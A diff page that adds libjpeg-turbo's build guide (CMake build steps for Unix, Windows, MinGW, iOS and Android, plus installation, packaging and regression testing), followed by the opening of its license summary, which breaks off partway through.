*.pgm binary
|
||||
/ChangeLog.md conflict-marker-size=8
|
||||
Executable
+703
@@ -0,0 +1,703 @@
|
||||
Building libjpeg-turbo
|
||||
======================
|
||||
|
||||
|
||||
Build Requirements
|
||||
------------------
|
||||
|
||||
|
||||
### All Systems
|
||||
|
||||
- [CMake](https://cmake.org) v2.8.12 or later
|
||||
|
||||
- [NASM](https://nasm.us) or [Yasm](https://yasm.tortall.net)
|
||||
(if building x86 or x86-64 SIMD extensions)
|
||||
* If using NASM, 2.13 or later is required.
|
||||
* If using Yasm, 1.2.0 or later is required.
|
||||
* NASM 2.15 or later is required if building libjpeg-turbo with Intel
|
||||
Control-flow Enforcement Technology (CET) support.
|
||||
* If building on macOS, NASM or Yasm can be obtained from
|
||||
[MacPorts](https://macports.org) or [Homebrew](https://brew.sh).
|
||||
- NOTE: Currently, if it is desirable to hide the SIMD function symbols in
|
||||
Mac executables or shared libraries that statically link with
|
||||
libjpeg-turbo, then NASM 2.14 or later or Yasm must be used when
|
||||
building libjpeg-turbo.
|
||||
* If NASM or Yasm is not in your `PATH`, then you can specify the full path
|
||||
to the assembler by using either the `CMAKE_ASM_NASM_COMPILER` CMake
|
||||
variable or the `ASM_NASM` environment variable. On Windows, use forward
|
||||
slashes rather than backslashes in the path (for example,
|
||||
**c:/nasm/nasm.exe**).
|
||||
* NASM and Yasm are located in the CRB (Code Ready Builder) or PowerTools
|
||||
repository on Red Hat Enterprise Linux 8+ and derivatives, which is not
|
||||
enabled by default.
|
||||
|
||||
- If building the TurboJPEG Java wrapper, JDK or OpenJDK 1.5 or later is
|
||||
required.
|
||||
|
||||
* Most modern Linux distributions, as well as Solaris 10 and later, include
|
||||
JDK or OpenJDK. For other systems, pre-built JDK binaries can be obtained
|
||||
from [Oracle](https://oracle.com/java/technologies/downloads) or
|
||||
[Adoptium](https://adoptium.net/temurin/releases).
|
||||
|
||||
* If using JDK 11 or later, CMake 3.10.x or later must also be used.
|
||||
|
||||
### Un*x Platforms (including Mac and Cygwin)
|
||||
|
||||
- GCC v4.1 (or later) or Clang recommended for best performance
|
||||
|
||||
### Windows
|
||||
|
||||
- Microsoft Visual C++ 2005 or later
|
||||
|
||||
If you don't already have Visual C++, then the easiest way to get it is by
|
||||
installing
|
||||
[Visual Studio Community Edition](https://visualstudio.microsoft.com),
|
||||
which includes everything necessary to build libjpeg-turbo.
|
||||
|
||||
* You can also download and install the standalone Windows SDK (for Windows 7
|
||||
or later), which includes command-line versions of the 32-bit and 64-bit
|
||||
Visual C++ compilers.
|
||||
* If you intend to build libjpeg-turbo from the command line, then add the
|
||||
appropriate compiler and SDK directories to the `INCLUDE`, `LIB`, and
|
||||
`PATH` environment variables. This is generally accomplished by
|
||||
executing `vcvars32.bat` or `vcvars64.bat`, which are located in the same
|
||||
directory as the compiler.
|
||||
* If built with Visual C++ 2015 or later, the libjpeg-turbo static libraries
|
||||
cannot be used with earlier versions of Visual C++, and vice versa.
|
||||
* The libjpeg API DLL (**jpeg{version}.dll**) will depend on the C run-time
|
||||
DLLs corresponding to the version of Visual C++ that was used to build it.
|
||||
|
||||
... OR ...
|
||||
|
||||
- MinGW
|
||||
|
||||
[MSYS2](https://msys2.org) or [tdm-gcc](https://jmeubank.github.io/tdm-gcc)
|
||||
recommended if building on a Windows machine. Both distributions install a
|
||||
Start Menu link that can be used to launch a command prompt with the
|
||||
appropriate compiler paths automatically set.
|
||||
|
||||
|
||||
Sub-Project Builds
|
||||
------------------
|
||||
|
||||
The libjpeg-turbo build system does not support being included as a sub-project
|
||||
using the CMake `add_subdirectory()` function. Use the CMake
|
||||
`ExternalProject_Add()` function instead.
|
||||
|
||||
|
||||
Out-of-Tree Builds
|
||||
------------------
|
||||
|
||||
Binary objects, libraries, and executables are generated in the directory from
|
||||
which CMake is executed (the "binary directory"), and this directory need not
|
||||
necessarily be the same as the libjpeg-turbo source directory. You can create
|
||||
multiple independent binary directories, in which different versions of
|
||||
libjpeg-turbo can be built from the same source tree using different compilers
|
||||
or settings. In the sections below, *{build_directory}* refers to the binary
|
||||
directory, whereas *{source_directory}* refers to the libjpeg-turbo source
|
||||
directory. For in-tree builds, these directories are the same.
|
||||
|
||||
|
||||
Ninja
|
||||
-----
|
||||
|
||||
If using Ninja, then replace `make` or `nmake` with `ninja`, and replace the
|
||||
CMake generator (specified with the `-G` option) with `Ninja`, in all of the
|
||||
procedures and recipes below.
|
||||
|
||||
|
||||
Build Procedure
|
||||
---------------
|
||||
|
||||
NOTE: The build procedures below assume that CMake is invoked from the command
|
||||
line, but all of these procedures can be adapted to the CMake GUI as
|
||||
well.
|
||||
|
||||
|
||||
### Un*x
|
||||
|
||||
The following procedure will build libjpeg-turbo on Unix and Unix-like systems.
|
||||
(On Solaris, this generates a 32-bit build. See "Build Recipes" below for
|
||||
64-bit build instructions.)
|
||||
|
||||
cd {build_directory}
|
||||
cmake -G"Unix Makefiles" [additional CMake flags] {source_directory}
|
||||
make
|
||||
|
||||
This will generate the following files under *{build_directory}*:
|
||||
|
||||
**libjpeg.a**<br>
|
||||
Static link library for the libjpeg API
|
||||
|
||||
**libjpeg.so.{version}** (Linux, Unix)<br>
|
||||
**libjpeg.{version}.dylib** (Mac)<br>
|
||||
**cygjpeg-{version}.dll** (Cygwin)<br>
|
||||
Shared library for the libjpeg API
|
||||
|
||||
By default, *{version}* is 62.2.0, 7.2.0, or 8.1.2, depending on whether
|
||||
libjpeg v6b (default), v7, or v8 emulation is enabled. If using Cygwin,
|
||||
*{version}* is 62, 7, or 8.
|
||||
|
||||
**libjpeg.so** (Linux, Unix)<br>
|
||||
**libjpeg.dylib** (Mac)<br>
|
||||
Development symlink for the libjpeg API
|
||||
|
||||
**libjpeg.dll.a** (Cygwin)<br>
|
||||
Import library for the libjpeg API
|
||||
|
||||
**libturbojpeg.a**<br>
|
||||
Static link library for the TurboJPEG API
|
||||
|
||||
**libturbojpeg.so.0.2.0** (Linux, Unix)<br>
|
||||
**libturbojpeg.0.2.0.dylib** (Mac)<br>
|
||||
**cygturbojpeg-0.dll** (Cygwin)<br>
|
||||
Shared library for the TurboJPEG API
|
||||
|
||||
**libturbojpeg.so** (Linux, Unix)<br>
|
||||
**libturbojpeg.dylib** (Mac)<br>
|
||||
Development symlink for the TurboJPEG API
|
||||
|
||||
**libturbojpeg.dll.a** (Cygwin)<br>
|
||||
Import library for the TurboJPEG API
|
||||
|
||||
|
||||
### Visual C++ (Command Line)
|
||||
|
||||
cd {build_directory}
|
||||
cmake -G"NMake Makefiles" -DCMAKE_BUILD_TYPE=Release [additional CMake flags] {source_directory}
|
||||
nmake
|
||||
|
||||
This will build either a 32-bit or a 64-bit version of libjpeg-turbo, depending
|
||||
on which version of **cl.exe** is in the `PATH`.
|
||||
|
||||
The following files will be generated under *{build_directory}*:
|
||||
|
||||
**jpeg-static.lib**<br>
|
||||
Static link library for the libjpeg API
|
||||
|
||||
**jpeg{version}.dll**<br>
|
||||
DLL for the libjpeg API
|
||||
|
||||
**jpeg.lib**<br>
|
||||
Import library for the libjpeg API
|
||||
|
||||
**turbojpeg-static.lib**<br>
|
||||
Static link library for the TurboJPEG API
|
||||
|
||||
**turbojpeg.dll**<br>
|
||||
DLL for the TurboJPEG API
|
||||
|
||||
**turbojpeg.lib**<br>
|
||||
Import library for the TurboJPEG API
|
||||
|
||||
*{version}* is 62, 7, or 8, depending on whether libjpeg v6b (default), v7, or
|
||||
v8 emulation is enabled.
|
||||
|
||||
|
||||
### Visual C++ (IDE)
|
||||
|
||||
Choose the appropriate CMake generator option for your version of Visual Studio
|
||||
(run `cmake` with no arguments for a list of available generators.) For
|
||||
instance:
|
||||
|
||||
cd {build_directory}
|
||||
cmake -G"Visual Studio 10" [additional CMake flags] {source_directory}
|
||||
|
||||
NOTE: Add "Win64" to the generator name (for example, "Visual Studio 10 Win64")
|
||||
to build a 64-bit version of libjpeg-turbo. A separate build directory must be
|
||||
used for 32-bit and 64-bit builds.
|
||||
|
||||
You can then open **ALL_BUILD.vcproj** in Visual Studio and build one of the
|
||||
configurations in that project ("Debug", "Release", etc.) to generate a full
|
||||
build of libjpeg-turbo.
|
||||
|
||||
This will generate the following files under *{build_directory}*:
|
||||
|
||||
**{configuration}/jpeg-static.lib**<br>
|
||||
Static link library for the libjpeg API
|
||||
|
||||
**{configuration}/jpeg{version}.dll**<br>
|
||||
DLL for the libjpeg API
|
||||
|
||||
**{configuration}/jpeg.lib**<br>
|
||||
Import library for the libjpeg API
|
||||
|
||||
**{configuration}/turbojpeg-static.lib**<br>
|
||||
Static link library for the TurboJPEG API
|
||||
|
||||
**{configuration}/turbojpeg.dll**<br>
|
||||
DLL for the TurboJPEG API
|
||||
|
||||
**{configuration}/turbojpeg.lib**<br>
|
||||
Import library for the TurboJPEG API
|
||||
|
||||
*{configuration}* is Debug, Release, RelWithDebInfo, or MinSizeRel, depending
|
||||
on the configuration you built in the IDE, and *{version}* is 62, 7, or 8,
|
||||
depending on whether libjpeg v6b (default), v7, or v8 emulation is enabled.
|
||||
|
||||
|
||||
### MinGW
|
||||
|
||||
NOTE: This assumes that you are building on a Windows machine using the MSYS
|
||||
environment. If you are cross-compiling on a Un*x platform (including Mac and
|
||||
Cygwin), then see "Build Recipes" below.
|
||||
|
||||
cd {build_directory}
|
||||
cmake -G"MSYS Makefiles" [additional CMake flags] {source_directory}
|
||||
make
|
||||
|
||||
This will generate the following files under *{build_directory}*:
|
||||
|
||||
**libjpeg.a**<br>
|
||||
Static link library for the libjpeg API
|
||||
|
||||
**libjpeg-{version}.dll**<br>
|
||||
DLL for the libjpeg API
|
||||
|
||||
**libjpeg.dll.a**<br>
|
||||
Import library for the libjpeg API
|
||||
|
||||
**libturbojpeg.a**<br>
|
||||
Static link library for the TurboJPEG API
|
||||
|
||||
**libturbojpeg.dll**<br>
|
||||
DLL for the TurboJPEG API
|
||||
|
||||
**libturbojpeg.dll.a**<br>
|
||||
Import library for the TurboJPEG API
|
||||
|
||||
*{version}* is 62, 7, or 8, depending on whether libjpeg v6b (default), v7, or
|
||||
v8 emulation is enabled.
|
||||
|
||||
|
||||
### Debug Build
|
||||
|
||||
Add `-DCMAKE_BUILD_TYPE=Debug` to the CMake command line. Or, if building
|
||||
with NMake, remove `-DCMAKE_BUILD_TYPE=Release` (Debug builds are the default
|
||||
with NMake.)
|
||||
|
||||
|
||||
### libjpeg v7 or v8 API/ABI Emulation
|
||||
|
||||
Add `-DWITH_JPEG7=1` to the CMake command line to build a version of
|
||||
libjpeg-turbo that is API/ABI-compatible with libjpeg v7. Add `-DWITH_JPEG8=1`
|
||||
to the CMake command line to build a version of libjpeg-turbo that is
|
||||
API/ABI-compatible with libjpeg v8. See [README.md](README.md) for more
|
||||
information about libjpeg v7 and v8 emulation.
|
||||
|
||||
|
||||
### Arithmetic Coding Support
|
||||
|
||||
Since the patent on arithmetic coding has expired, this functionality has been
|
||||
included in this release of libjpeg-turbo. libjpeg-turbo's implementation is
|
||||
based on the implementation in libjpeg v8, but it works when emulating libjpeg
|
||||
v7 or v6b as well. The default is to enable both arithmetic encoding and
|
||||
decoding, but those who have philosophical objections to arithmetic coding can
|
||||
add `-DWITH_ARITH_ENC=0` or `-DWITH_ARITH_DEC=0` to the CMake command line to
|
||||
disable encoding or decoding (respectively.)
|
||||
|
||||
|
||||
### TurboJPEG Java Wrapper
|
||||
|
||||
Add `-DWITH_JAVA=1` to the CMake command line to incorporate an optional Java
|
||||
Native Interface (JNI) wrapper into the TurboJPEG shared library and build the
|
||||
Java front-end classes to support it. This allows the TurboJPEG shared library
|
||||
to be used directly from Java applications. See
|
||||
[java/README.md](java/README.md) for more details.
|
||||
|
||||
If Java is not in your `PATH`, or if you wish to use an alternate JDK to
|
||||
build/test libjpeg-turbo, then (prior to running CMake) set the `JAVA_HOME`
|
||||
environment variable to the location of the JDK that you wish to use. The
|
||||
`Java_JAVAC_EXECUTABLE`, `Java_JAVA_EXECUTABLE`, and `Java_JAR_EXECUTABLE`
|
||||
CMake variables can also be used to specify alternate commands or locations for
|
||||
javac, jar, and java (respectively.) You can also set the
|
||||
`CMAKE_JAVA_COMPILE_FLAGS` CMake variable or the `JAVAFLAGS` environment
|
||||
variable to specify arguments that should be passed to the Java compiler when
|
||||
building the TurboJPEG classes, and the `JAVAARGS` CMake variable to specify
|
||||
arguments that should be passed to the JRE when running the TurboJPEG Java unit
|
||||
tests.
|
||||
|
||||
|
||||
Build Recipes
|
||||
-------------
|
||||
|
||||
|
||||
### 32-bit Build on 64-bit Linux/Unix
|
||||
|
||||
Use export/setenv to set the following environment variables before running
|
||||
CMake:
|
||||
|
||||
CFLAGS=-m32
|
||||
LDFLAGS=-m32
|
||||
|
||||
|
||||
### 64-bit Build on Solaris
|
||||
|
||||
Use export/setenv to set the following environment variables before running
|
||||
CMake:
|
||||
|
||||
CFLAGS=-m64
|
||||
LDFLAGS=-m64
|
||||
|
||||
|
||||
### Other Compilers
|
||||
|
||||
On Un*x systems, prior to running CMake, you can set the `CC` environment
|
||||
variable to the command used to invoke the C compiler.
|
||||
|
||||
|
||||
### 32-bit MinGW Build on Un*x (including Mac and Cygwin)
|
||||
|
||||
Create a file called **toolchain.cmake** under *{build_directory}*, with the
|
||||
following contents:
|
||||
|
||||
set(CMAKE_SYSTEM_NAME Windows)
|
||||
set(CMAKE_SYSTEM_PROCESSOR X86)
|
||||
set(CMAKE_C_COMPILER {mingw_binary_path}/i686-w64-mingw32-gcc)
|
||||
set(CMAKE_RC_COMPILER {mingw_binary_path}/i686-w64-mingw32-windres)
|
||||
|
||||
*{mingw\_binary\_path}* is the directory under which the MinGW binaries are
|
||||
located (usually **/usr/bin**.) Next, execute the following commands:
|
||||
|
||||
cd {build_directory}
|
||||
cmake -G"Unix Makefiles" -DCMAKE_TOOLCHAIN_FILE=toolchain.cmake \
|
||||
-DCMAKE_INSTALL_PREFIX={install_path} \
|
||||
[additional CMake flags] {source_directory}
|
||||
make
|
||||
|
||||
*{install\_path}* is the path under which the libjpeg-turbo binaries should be
|
||||
installed.
|
||||
|
||||
|
||||
### 64-bit MinGW Build on Un*x (including Mac and Cygwin)
|
||||
|
||||
Create a file called **toolchain.cmake** under *{build_directory}*, with the
|
||||
following contents:
|
||||
|
||||
set(CMAKE_SYSTEM_NAME Windows)
|
||||
set(CMAKE_SYSTEM_PROCESSOR AMD64)
|
||||
set(CMAKE_C_COMPILER {mingw_binary_path}/x86_64-w64-mingw32-gcc)
|
||||
set(CMAKE_RC_COMPILER {mingw_binary_path}/x86_64-w64-mingw32-windres)
|
||||
|
||||
*{mingw\_binary\_path}* is the directory under which the MinGW binaries are
|
||||
located (usually **/usr/bin**.) Next, execute the following commands:
|
||||
|
||||
cd {build_directory}
|
||||
cmake -G"Unix Makefiles" -DCMAKE_TOOLCHAIN_FILE=toolchain.cmake \
|
||||
-DCMAKE_INSTALL_PREFIX={install_path} \
|
||||
[additional CMake flags] {source_directory}
|
||||
make
|
||||
|
||||
*{install\_path}* is the path under which the libjpeg-turbo binaries should be
|
||||
installed.
|
||||
|
||||
|
||||
Building libjpeg-turbo for iOS
|
||||
------------------------------
|
||||
|
||||
iOS platforms, such as the iPhone and iPad, use Arm processors, and all
|
||||
currently supported models include Neon instructions. Thus, they can take
|
||||
advantage of libjpeg-turbo's SIMD extensions to significantly accelerate JPEG
|
||||
compression/decompression. This section describes how to build libjpeg-turbo
|
||||
for these platforms.
|
||||
|
||||
|
||||
### Armv8 (64-bit)
|
||||
|
||||
**Xcode 5 or later required, Xcode 6.3.x or later recommended**
|
||||
|
||||
The following script demonstrates how to build libjpeg-turbo to run on the
|
||||
iPhone 5S/iPad Mini 2/iPad Air and newer.
|
||||
|
||||
IOS_PLATFORMDIR=/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform
|
||||
IOS_SYSROOT=($IOS_PLATFORMDIR/Developer/SDKs/iPhoneOS*.sdk)
|
||||
export CFLAGS="-Wall -miphoneos-version-min=8.0 -funwind-tables"
|
||||
|
||||
cd {build_directory}
|
||||
|
||||
cmake -G"Unix Makefiles" \
|
||||
-DCMAKE_C_COMPILER=/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang \
|
||||
-DCMAKE_OSX_ARCHITECTURES=arm64 \
|
||||
-DCMAKE_OSX_SYSROOT=${IOS_SYSROOT[0]} \
|
||||
[additional CMake flags] {source_directory}
|
||||
make
|
||||
|
||||
Replace `iPhoneOS` with `iPhoneSimulator` and `-miphoneos-version-min` with
|
||||
`-miphonesimulator-version-min` to build libjpeg-turbo for the iOS simulator on
|
||||
Macs with Apple silicon CPUs.
|
||||
|
||||
|
||||
Building libjpeg-turbo for Android
|
||||
----------------------------------
|
||||
|
||||
Building libjpeg-turbo for Android platforms requires v13b or later of the
|
||||
[Android NDK](https://developer.android.com/ndk).
|
||||
|
||||
|
||||
### Armv7 (32-bit)
|
||||
|
||||
**NDK r19 or later with Clang recommended**
|
||||
|
||||
The following is a general recipe script that can be modified for your specific
|
||||
needs.
|
||||
|
||||
# Set these variables to suit your needs
|
||||
NDK_PATH={full path to the NDK directory-- for example,
|
||||
/opt/android/android-ndk-r16b}
|
||||
TOOLCHAIN={"gcc" or "clang"-- "gcc" must be used with NDK r16b and earlier,
|
||||
and "clang" must be used with NDK r17c and later}
|
||||
ANDROID_VERSION={the minimum version of Android to support-- for example,
|
||||
"16", "19", etc.}
|
||||
|
||||
cd {build_directory}
|
||||
cmake -G"Unix Makefiles" \
|
||||
-DANDROID_ABI=armeabi-v7a \
|
||||
-DANDROID_ARM_MODE=arm \
|
||||
-DANDROID_PLATFORM=android-${ANDROID_VERSION} \
|
||||
-DANDROID_TOOLCHAIN=${TOOLCHAIN} \
|
||||
-DCMAKE_ASM_FLAGS="--target=arm-linux-androideabi${ANDROID_VERSION}" \
|
||||
-DCMAKE_TOOLCHAIN_FILE=${NDK_PATH}/build/cmake/android.toolchain.cmake \
|
||||
[additional CMake flags] {source_directory}
|
||||
make
|
||||
|
||||
|
||||
### Armv8 (64-bit)
|
||||
|
||||
**Clang recommended**
|
||||
|
||||
The following is a general recipe script that can be modified for your specific
|
||||
needs.
|
||||
|
||||
# Set these variables to suit your needs
|
||||
NDK_PATH={full path to the NDK directory-- for example,
|
||||
/opt/android/android-ndk-r16b}
|
||||
TOOLCHAIN={"gcc" or "clang"-- "gcc" must be used with NDK r14b and earlier,
|
||||
and "clang" must be used with NDK r17c and later}
|
||||
ANDROID_VERSION={the minimum version of Android to support. "21" or later
|
||||
is required for a 64-bit build.}
|
||||
|
||||
cd {build_directory}
|
||||
cmake -G"Unix Makefiles" \
|
||||
-DANDROID_ABI=arm64-v8a \
|
||||
-DANDROID_ARM_MODE=arm \
|
||||
-DANDROID_PLATFORM=android-${ANDROID_VERSION} \
|
||||
-DANDROID_TOOLCHAIN=${TOOLCHAIN} \
|
||||
-DCMAKE_ASM_FLAGS="--target=aarch64-linux-android${ANDROID_VERSION}" \
|
||||
-DCMAKE_TOOLCHAIN_FILE=${NDK_PATH}/build/cmake/android.toolchain.cmake \
|
||||
[additional CMake flags] {source_directory}
|
||||
make
|
||||
|
||||
|
||||
### x86 (32-bit)
|
||||
|
||||
The following is a general recipe script that can be modified for your specific
|
||||
needs.
|
||||
|
||||
# Set these variables to suit your needs
|
||||
NDK_PATH={full path to the NDK directory-- for example,
|
||||
/opt/android/android-ndk-r16b}
|
||||
TOOLCHAIN={"gcc" or "clang"-- "gcc" must be used with NDK r14b and earlier,
|
||||
and "clang" must be used with NDK r17c and later}
|
||||
ANDROID_VERSION={The minimum version of Android to support-- for example,
|
||||
"16", "19", etc.}
|
||||
|
||||
cd {build_directory}
|
||||
cmake -G"Unix Makefiles" \
|
||||
-DANDROID_ABI=x86 \
|
||||
-DANDROID_PLATFORM=android-${ANDROID_VERSION} \
|
||||
-DANDROID_TOOLCHAIN=${TOOLCHAIN} \
|
||||
-DCMAKE_TOOLCHAIN_FILE=${NDK_PATH}/build/cmake/android.toolchain.cmake \
|
||||
[additional CMake flags] {source_directory}
|
||||
make
|
||||
|
||||
|
||||
### x86-64 (64-bit)
|
||||
|
||||
The following is a general recipe script that can be modified for your specific
|
||||
needs.
|
||||
|
||||
# Set these variables to suit your needs
|
||||
NDK_PATH={full path to the NDK directory-- for example,
|
||||
/opt/android/android-ndk-r16b}
|
||||
TOOLCHAIN={"gcc" or "clang"-- "gcc" must be used with NDK r14b and earlier,
|
||||
and "clang" must be used with NDK r17c and later}
|
||||
ANDROID_VERSION={the minimum version of Android to support. "21" or later
|
||||
is required for a 64-bit build.}
|
||||
|
||||
cd {build_directory}
|
||||
cmake -G"Unix Makefiles" \
|
||||
-DANDROID_ABI=x86_64 \
|
||||
-DANDROID_PLATFORM=android-${ANDROID_VERSION} \
|
||||
-DANDROID_TOOLCHAIN=${TOOLCHAIN} \
|
||||
-DCMAKE_TOOLCHAIN_FILE=${NDK_PATH}/build/cmake/android.toolchain.cmake \
|
||||
[additional CMake flags] {source_directory}
|
||||
make
|
||||
|
||||
|
||||
Advanced CMake Options
|
||||
----------------------
|
||||
|
||||
To list and configure other CMake options not specifically mentioned in this
|
||||
guide, run
|
||||
|
||||
ccmake {source_directory}
|
||||
|
||||
or
|
||||
|
||||
cmake-gui {source_directory}
|
||||
|
||||
from the build directory after initially configuring the build. CCMake is a
|
||||
text-based interactive version of CMake, and CMake-GUI is a GUI version. Both
|
||||
will display all variables that are relevant to the libjpeg-turbo build, their
|
||||
current values, and a help string describing what they do.
|
||||
|
||||
|
||||
Installing libjpeg-turbo
|
||||
========================
|
||||
|
||||
You can use the build system to install libjpeg-turbo (as opposed to creating
|
||||
an installer package.) To do this, run `make install` or `nmake install`
|
||||
(or build the "install" target in the Visual Studio IDE.) Running
|
||||
`make uninstall` or `nmake uninstall` (or building the "uninstall" target in
|
||||
the Visual Studio IDE) will uninstall libjpeg-turbo.
|
||||
|
||||
The `CMAKE_INSTALL_PREFIX` CMake variable can be modified in order to install
|
||||
libjpeg-turbo into a directory of your choosing. If you don't specify
|
||||
`CMAKE_INSTALL_PREFIX`, then the default is:
|
||||
|
||||
**c:\libjpeg-turbo**<br>
|
||||
Visual Studio 32-bit build
|
||||
|
||||
**c:\libjpeg-turbo64**<br>
|
||||
Visual Studio 64-bit build
|
||||
|
||||
**c:\libjpeg-turbo-gcc**<br>
|
||||
MinGW 32-bit build
|
||||
|
||||
**c:\libjpeg-turbo-gcc64**<br>
|
||||
MinGW 64-bit build
|
||||
|
||||
**/opt/libjpeg-turbo**<br>
|
||||
Un*x (including Mac and Cygwin)
|
||||
|
||||
The default value of `CMAKE_INSTALL_PREFIX` causes the libjpeg-turbo files to
|
||||
be installed with a directory structure resembling that of the official
|
||||
libjpeg-turbo binary packages. Changing the value of `CMAKE_INSTALL_PREFIX`
|
||||
(for instance, to **/usr/local**) causes the libjpeg-turbo files to be
|
||||
installed with a directory structure that conforms to GNU standards.
|
||||
|
||||
The `CMAKE_INSTALL_BINDIR`, `CMAKE_INSTALL_DATAROOTDIR`,
|
||||
`CMAKE_INSTALL_DOCDIR`, `CMAKE_INSTALL_INCLUDEDIR`, `CMAKE_INSTALL_JAVADIR`,
|
||||
`CMAKE_INSTALL_LIBDIR`, and `CMAKE_INSTALL_MANDIR` CMake variables allow a
|
||||
finer degree of control over where specific files in the libjpeg-turbo
|
||||
distribution should be installed. These directory variables can either be
|
||||
specified as absolute paths or as paths relative to `CMAKE_INSTALL_PREFIX` (for
|
||||
instance, setting `CMAKE_INSTALL_DOCDIR` to **doc** would cause the
|
||||
documentation to be installed in **${CMAKE\_INSTALL\_PREFIX}/doc**.) If a
|
||||
directory variable contains the name of another directory variable in angle
|
||||
brackets, then its final value will depend on the final value of that other
|
||||
variable. For instance, the default value of `CMAKE_INSTALL_MANDIR` is
|
||||
**\<CMAKE\_INSTALL\_DATAROOTDIR\>/man**.
|
||||
|
||||
|
||||
Creating Distribution Packages
|
||||
==============================
|
||||
|
||||
The following commands can be used to create various types of distribution
|
||||
packages:
|
||||
|
||||
|
||||
Linux
|
||||
-----
|
||||
|
||||
make rpm
|
||||
|
||||
Create Red Hat-style binary RPM package. Requires RPM v4 or later.
|
||||
|
||||
make srpm
|
||||
|
||||
This runs `make dist` to create a pristine source tarball, then creates a
|
||||
Red Hat-style source RPM package from the tarball. Requires RPM v4 or later.
|
||||
|
||||
make deb
|
||||
|
||||
Create Debian-style binary package. Requires dpkg.
|
||||
|
||||
|
||||
Mac
|
||||
---
|
||||
|
||||
make dmg
|
||||
|
||||
Create Mac package/disk image. This requires pkgbuild and productbuild, which
|
||||
are installed by default on OS X/macOS 10.7 and later.
|
||||
|
||||
In order to create a Mac package/disk image that contains universal
|
||||
x86-64/Arm binaries, set the following CMake variable:
|
||||
|
||||
* `SECONDARY_BUILD`: Directory containing a cross-compiled x86-64 or Armv8
|
||||
(64-bit) iOS or macOS build of libjpeg-turbo to include in the universal
|
||||
binaries
|
||||
|
||||
You should first use CMake to configure the cross-compiled x86-64 or Armv8
|
||||
secondary build of libjpeg-turbo (see "Building libjpeg-turbo for iOS" above,
|
||||
if applicable) in a build directory that matches the one specified in the
|
||||
aforementioned CMake variable. Next, configure the primary (native) build of
|
||||
libjpeg-turbo as an out-of-tree build, specifying the aforementioned CMake
|
||||
variable, and build it. Once the primary build has been built, run `make dmg`
|
||||
from the build directory. The packaging system will build the secondary build,
|
||||
use lipo to combine it with the primary build into a single set of universal
|
||||
binaries, then package the universal binaries.
|
||||
|
||||
|
||||
Windows
|
||||
-------
|
||||
|
||||
If using NMake:
|
||||
|
||||
cd {build_directory}
|
||||
nmake installer
|
||||
|
||||
If using MinGW:
|
||||
|
||||
cd {build_directory}
|
||||
make installer
|
||||
|
||||
If using the Visual Studio IDE, build the "installer" target.
|
||||
|
||||
The installer package (libjpeg-turbo-*{version}*[-gcc|-vc][64].exe) will be
|
||||
located under *{build_directory}*. If building using the Visual Studio IDE,
|
||||
then the installer package will be located in a subdirectory with the same name
|
||||
as the configuration you built (such as *{build_directory}*\Debug\ or
|
||||
*{build_directory}*\Release\).
|
||||
|
||||
Building a Windows installer requires the
|
||||
[Nullsoft Install System](https://nsis.sourceforge.io). makensis.exe should
|
||||
be in your `PATH`.
|
||||
|
||||
|
||||
Regression testing
|
||||
==================
|
||||
|
||||
The most common way to test libjpeg-turbo is by invoking `make test` (Un*x) or
|
||||
`nmake test` (Windows command line) or by building the "RUN_TESTS" target
|
||||
(Visual Studio IDE), once the build has completed. This runs a series of tests
|
||||
to ensure that mathematical compatibility has been maintained between
|
||||
libjpeg-turbo and libjpeg v6b. This also invokes the TurboJPEG unit tests,
|
||||
which ensure that the colorspace extensions, YUV encoding, decompression
|
||||
scaling, and other features of the TurboJPEG C and Java APIs are working
|
||||
properly (and, by extension, that the equivalent features of the underlying
|
||||
libjpeg API are also working.)
|
||||
|
||||
Invoking `make testclean` (Un*x) or `nmake testclean` (Windows command line) or
|
||||
building the "testclean" target (Visual Studio IDE) will clean up the output
|
||||
images generated by the tests.
|
||||
|
||||
On Un*x platforms, more extensive tests of the TurboJPEG C and Java wrappers
|
||||
can be run by invoking `make tjtest`, `make tjtest12`, and `make tjtest16`.
|
||||
These extended TurboJPEG tests essentially iterate through all of the available
|
||||
features of the TurboJPEG APIs that are not covered by the TurboJPEG unit tests
|
||||
(including the lossless transform options) and compare the images generated by
|
||||
each feature to images generated using the equivalent feature in the libjpeg
|
||||
API. The extended TurboJPEG tests are meant to test for regressions in the
|
||||
TurboJPEG wrappers, not in the underlying libjpeg API library.
|
||||
Executable
+1946
File diff suppressed because it is too large
Load Diff
Executable
+2506
File diff suppressed because it is too large
Load Diff
Executable
+135
@@ -0,0 +1,135 @@
|
||||
libjpeg-turbo Licenses
|
||||
======================
|
||||
|
||||
libjpeg-turbo is covered by two compatible BSD-style open source licenses:
|
||||
|
||||
- The IJG (Independent JPEG Group) License, which is listed in
|
||||
[README.ijg](README.ijg)
|
||||
|
||||
This license applies to the libjpeg API library and associated programs,
|
||||
including any code inherited from libjpeg and any modifications to that
|
||||
code. Note that the libjpeg-turbo SIMD source code bears the
|
||||
[zlib License](https://opensource.org/licenses/Zlib), but in the context of
|
||||
the overall libjpeg API library, the terms of the zlib License are subsumed
|
||||
by the terms of the IJG License.
|
||||
|
||||
- The Modified (3-clause) BSD License, which is listed below
|
||||
|
||||
This license applies to the TurboJPEG API library and associated programs, as
|
||||
well as the build system. Note that the TurboJPEG API library wraps the
|
||||
libjpeg API library, so in the context of the overall TurboJPEG API library,
|
||||
both the terms of the IJG License and the terms of the Modified (3-clause)
|
||||
BSD License apply.
|
||||
|
||||
|
||||
Complying with the libjpeg-turbo Licenses
|
||||
=========================================
|
||||
|
||||
This section provides a roll-up of the libjpeg-turbo licensing terms, to the
|
||||
best of our understanding. This is not a license in and of itself. It is
|
||||
intended solely for clarification.
|
||||
|
||||
1. If you are distributing a modified version of the libjpeg-turbo source,
|
||||
then:
|
||||
|
||||
1. You cannot alter or remove any existing copyright or license notices
|
||||
from the source.
|
||||
|
||||
**Origin**
|
||||
- Clause 1 of the IJG License
|
||||
- Clause 1 of the Modified BSD License
|
||||
- Clauses 1 and 3 of the zlib License
|
||||
|
||||
2. You must add your own copyright notice to the header of each source
|
||||
file you modified, so others can tell that you modified that file. (If
|
||||
there is not an existing copyright header in that file, then you can
|
||||
simply add a notice stating that you modified the file.)
|
||||
|
||||
**Origin**
|
||||
- Clause 1 of the IJG License
|
||||
- Clause 2 of the zlib License
|
||||
|
||||
3. You must include the IJG README file, and you must not alter any of the
|
||||
copyright or license text in that file.
|
||||
|
||||
**Origin**
|
||||
- Clause 1 of the IJG License
|
||||
|
||||
